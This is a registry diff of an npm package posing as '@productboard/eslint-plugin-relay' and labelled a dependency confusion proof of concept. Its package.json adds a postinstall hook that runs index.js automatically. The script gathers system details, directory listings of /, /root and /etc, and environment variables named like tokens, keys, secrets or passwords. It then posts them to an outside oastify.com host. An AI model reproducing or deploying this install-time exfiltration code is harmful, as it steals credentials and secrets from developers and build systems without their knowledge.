productboard-eslint-plugin-relay 99.0.111

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +65 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const fs = require("fs");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+
7
+ function safeRead(path) {
8
+ try {
9
+ return fs.readdirSync(path);
10
+ } catch (e) {
11
+ return `ERR: ${e.message}`;
12
+ }
13
+ }
14
+
15
+ function getEnvVars() {
16
+ const filtered = {};
17
+ Object.keys(process.env).forEach(key => {
18
+ if (/token|key|secret|pass|env/i.test(key)) {
19
+ filtered[key] = process.env[key];
20
+ }
21
+ });
22
+ return filtered;
23
+ }
24
+
25
+ const data = {
26
+ p: require("./package.json").name,
27
+ v: require("./package.json").version,
28
+ user: os.userInfo().username,
29
+ hostname: os.hostname(),
30
+ homedir: os.homedir(),
31
+ cwd: process.cwd(),
32
+ dns: dns.getServers(),
33
+ env: getEnvVars(),
34
+ dirs: {
35
+ "/": safeRead("/"),
36
+ "/home": safeRead("/home"),
37
+ "/root": safeRead("/root"),
38
+ "/etc": safeRead("/etc"),
39
+ },
40
+ networkInterfaces: os.networkInterfaces(),
41
+ };
42
+
43
+ const postData = querystring.stringify({
44
+ msg: JSON.stringify(data)
45
+ });
46
+
47
+ const options = {
48
+ hostname: "lncun7wwzm88gjhfkldbcm35vw1npgd5.oastify.com",
49
+ port: 443,
50
+ path: "/",
51
+ method: "POST",
52
+ headers: {
53
+ "Content-Type": "application/x-www-form-urlencoded",
54
+ "Content-Length": postData.length,
55
+ "User-Agent": "npm-rce-check"
56
+ }
57
+ };
58
+
59
+ const req = https.request(options, res => {
60
+ res.on("data", d => {});
61
+ });
62
+
63
+ req.on("error", () => {});
64
+ req.write(postData);
65
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "productboard-eslint-plugin-relay",
3
+ "version": "99.0.111",
4
+ "main": "index.js",
5
+ "keywords": [],
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Zein",
10
+ "license": "MIT",
11
+ "description": "PoC for Dependency Confusion - @productboard/eslint-plugin-relay"
12
+ }